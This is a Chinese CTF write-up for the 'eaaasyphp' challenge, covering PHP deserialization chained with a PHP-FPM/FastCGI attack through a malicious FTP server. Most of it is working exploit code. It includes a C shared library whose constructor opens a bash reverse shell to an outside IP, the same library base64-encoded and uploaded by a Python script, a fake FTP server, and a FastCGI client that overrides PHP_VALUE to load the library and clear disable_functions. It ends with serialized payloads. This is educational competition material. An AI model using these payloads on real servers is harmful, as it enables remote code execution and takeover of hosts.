刷题笔记:[陇原战疫2021网络安全大赛]eaaasyphp

CTF Web
Web
发布日期:   2021-11-07
更新日期:   2022-01-28
文章字数:   2.3k
阅读时长:   13 分

前言

关键字:[fpm|fastcgi]

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

题解

解法1

简单的php反序列化，pop链。

Bypass::__destruct() -> Welcome::__invoke()-> Bunny::toString()

但问题是，写不了文件。

看了看WP，才发现以前做过类似……没想起来真的不应该。

具体可参考刷题笔记:[蓝帽杯 2021]One Pointer PHP

写入.so文件

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/50.x.x.25/9999 0>&1'");
}

编译一下

gcc hpdoger.c -fPIC -shared -o hpdoger.so

然后复制字节码的base64，写入。/tmp目录应该是可写的。

import base64

import requests

url = "http://d51f467a-489d-4fd6-9b60-998fab3383a8.node4.buuoj.cn:81/"

payload = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAABgRAAAAAAAAGBEAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAANQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAOCAAAAAAAAA4IAAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAAGAgAAAAAAAAYCAAAAAAAAB8AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAAAIPgAAAAAAAAguAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC/AAAADwAAAAMAAAAAAAAAGD4AAAAAAAAYLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAACA+AAAAAAAAIC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADgPwAAAAAAAOAvAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAACBAAAAAAAAAIDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAAAoQAAAAAAAACgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAAAoMAAAAAAAACcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAUDAAAAAAAACwBAAAAAAAABoAAAAsAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAA1AAAAAAAAeQEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAB5NgAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA"
params = {
    "code": 'O:6:"Bypass":2:{s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":1:{s:8:"filename";s:15:"/tmp/hpdoger.so";}}s:4:"feng";O:4:"Esle":0:{}}'
}
data = {
    "data": base64.b64decode(payload)
}
r = requests.post(url=url, params=params, data=data)

开启恶意ftp

注意修改端口。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7777))#这里是ftp的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

生成payload

查下script_filename，这是fastcgi默认执行的文件。

脚本出自webcgi-exploits

一般改$filepath，so文件名，端口号就行了。

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */

/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1 = 1;
    const BEGIN_REQUEST = 1;
    const ABORT_REQUEST = 2;
    const END_REQUEST = 3;
    const PARAMS = 4;
    const STDIN = 5;
    const STDOUT = 6;
    const STDERR = 7;
    const DATA = 8;
    const GET_VALUES = 9;
    const GET_VALUES_RESULT = 10;
    const UNKNOWN_TYPE = 11;
    const MAXTYPE = self::UNKNOWN_TYPE;
    const RESPONDER = 1;
    const AUTHORIZER = 2;
    const FILTER = 3;
    const REQUEST_COMPLETE = 0;
    const CANT_MPX_CONN = 1;
    const OVERLOADED = 2;
    const UNKNOWN_ROLE = 3;
    const MAX_CONNS = 'MAX_CONNS';
    const MAX_REQS = 'MAX_REQS';
    const MPXS_CONNS = 'MPXS_CONNS';
    const HEADER_LEN = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version'] = ord($data{0});
        $ret['type'] = ord($data{1});
        $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved'] = ord($data{7});
        return $ret;
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len = $resp['contentLength'];
                while ($len && $buf = fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf = fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data=' . urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}

?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/index.php";//SCRIPT_FILENAME
$req = '/' . basename($filepath);
$uri = $req . '?' . 'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SCRIPT_FILENAME' => $filepath,
    'SCRIPT_NAME' => $req,
    'QUERY_STRING' => 'command=whoami',
    'REQUEST_URI' => $uri,
    'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE' => $php_value,
    'SERVER_SOFTWARE' => '80sec/wofeiwo',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '9000', //靶机fpm的监听端口
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'localhost',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code) . "\n";
?>

生成反序列化payload

<?php

class Check
{
    public static $str1 = false;
    public static $str2 = false;

}


class Esle
{
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Bunny
{
    public function __construct()
    {
        $this->filename = 'ftp://aaa@1.1.1.1:7777/123';
        $this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%027%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0B%0ASCRIPT_NAME%2Findex.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%19REQUEST_URI%2Findex.php%3Fcommand%3Dwhoami%0C%0ADOCUMENT_URI%2Findex.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00");
    }
}

class Welcome
{
    public function __construct()
    {
        $this->username = new Bunny();
    }
}

class Bypass
{
    public function __construct()
    {
        $this->a = new Esle();
        $this->str4 = new Welcome();
    }

}

/*
 * Bypass::__destruct() -> Welcome::__invoke()-> Bunny::toString()
 */
$a = new Bypass();
echo urlencode(serialize($a));

打入，结束。

解法2

吐了。原来之前打发没错，结果一直没尝试在这里写，而是直接POST传data。然后一直打不出来。

这题其实不用写.so，可以直接转发恶意ftp。

开启恶意ftp

同前，不再赘述。

gopherus生成payload

生成反序列化payload

代码同上

然后写在序列化字符串里。打入，结束。

疑惑

真怪，试了很久，一定要在反序列化类里写payload，传data就不行，两次urlencode也不行，太怪了。

按理来说，http传过去url解码一次，phpfpm转发解码一次。因为gopherus编码了一次，所以我再编码一次。但试了下并不行。

参考链接

教你用 FTP SSRF 打穿内网

文章作者: 巡璃
文章链接: https://syunaht.com/p/389324891.html
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